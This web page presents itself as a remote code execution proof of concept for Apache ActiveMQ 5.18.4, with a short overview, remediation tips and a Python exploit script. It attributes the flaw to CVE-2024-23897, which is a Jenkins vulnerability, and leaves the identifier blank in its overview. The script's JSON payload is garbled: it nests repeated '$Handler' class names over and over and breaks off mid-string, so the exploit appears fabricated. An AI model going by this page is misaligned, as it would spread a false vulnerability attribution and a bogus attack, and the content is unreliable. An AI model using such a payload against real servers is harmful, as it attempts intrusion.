Apache ActiveMQ CVE-2024-23897 Remote Code Execution Vulnerability and POC

Vulnerability Overview This vulnerability involves a Remote Code Execution (RCE) flaw identified as , affecting Apache ActiveMQ version 5.18.4. Attackers can exploit this vulnerability to execute arbitrary code on the target server by constructing malicious requests. Impact Scope Affected Versions: Apache ActiveMQ 5.18.4 Vulnerability Type: Remote Code Execution (RCE) Remediation Version Upgrade: It is recommended to upgrade to the latest version of Apache ActiveMQ to fix this vulnerability. Configuration Check: Review and adjust ActiveMQ configurations to ensure that no unnecessary ports or services are exposed. Access Control: Implement strict access control policies to restrict access to the ActiveMQ service. POC Code ```python import requests import sys import json def check_vulnerability(target_url): url = f"{target_url}/api/router?method=call&service=org.apache.activemq.artemis.core.server:core/ActiveMQ&type=queue&address=activemq.management&operation=deployPlugin" headers = { "Content-Type": "application/json" } payload = { "plugin": { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper" }, "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler$Handler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler$Handler$Handler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler$Handler$Handler$Handler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler$Handler$Handler$Handler$Handler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServ

Goal Reached Thanks to every supporter — we hit 100%!

Apache ActiveMQ CVE-2024-23897 Remote Code Execution Vulnerability and POC

More from this source